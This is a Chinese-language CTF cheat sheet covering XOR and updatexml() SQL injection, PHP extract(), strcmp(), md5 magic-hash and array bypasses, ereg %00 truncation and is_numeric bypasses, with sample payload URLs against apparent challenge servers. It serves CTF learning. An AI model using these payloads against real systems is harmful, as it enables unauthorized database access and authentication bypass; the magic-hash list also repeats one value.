CTF知识点总结（二）
异或注入
异或注入：两个条件相同（同真或同假）即为假。
http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+
如上，如果union被过滤，则 length('union')!=0 为假，那么返回页面正常。
updatexml() 函数报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。
第三个参数：new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值
注入语句示例：
select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);
注入原理：这个函数的第二个参数需要Xpath格式的字符串，则传入错误的格式会爆出错误，在内的语句会以爆出执行后的结果
源文件泄露利用
.DS_Store文件泄露：利用工具----ds_store_exp，github地址
.git文件泄露：利用工具----GitHack，github地址
extract变量覆盖
extract()函数：从数组中将变量导入当前符号表。
定义：
- 从数组中将变量导入到当前的符号表
- 该函数使用数组键名作为变量名，使用数组键值作为变量值。针对数组中的每个元素，将在当前符号表中创建对应的一个变量
语法：extract(array,extract_rules,prefix)
- array,必需，要使用的数组
<?php
$a="hello";
$b= array('a' =>"world" ,"b"=>"gogogo");
extract($b);
echo $a; //world
?>
如上所示，会存在一个覆盖漏洞。
strcmp()漏洞
<?php
echo strcmp("Hello world!","Hello world!"); // 两字符串相等 //0
echo strcmp("Hello world!","Hello"); // string1 大于 string2 //7
echo strcmp("Hello world!","Hello world! Hello!"); // string1 小于 string2 //-7
?>
如上所示，strcmp()用于比较字符串大小，但是strcmp()在比较字符串和数组的时候直接返回0，可用于绕过。
md5()漏洞
$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])
MD5($_GET['name']) === MD5($_GET['password'])
PHP在处理哈希字符串时，它把每一个以“0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以“0E”开头的，那么PHP将会认为他们相同，都是0。
以下值在md5加密后以0E开头：
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
另外，MD5()无法处理数组，当比较数组时，会返回0，也能用于绕过，name[]=a&password[]=b
ereg()截断漏洞
ereg()与strpos()两个函数同样不能用数组作为参数，否则返回NULL。
另外，ereg()存在截断漏洞，使用%00可以截断正则匹配。
另外，当长度与数值矛盾时，可以采用科学计数法表示，1e8=100000000。
弱类型整数大小比较绕过
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
is_numeric()同样可以用数组绕过、%00截断、添加其他字符
http://123.206.87.240:9009/22.php?password[]=1
http://123.206.87.240:9009/22.php?password=9999a
http://123.206.87.240:9009/22.php?password=9999%00
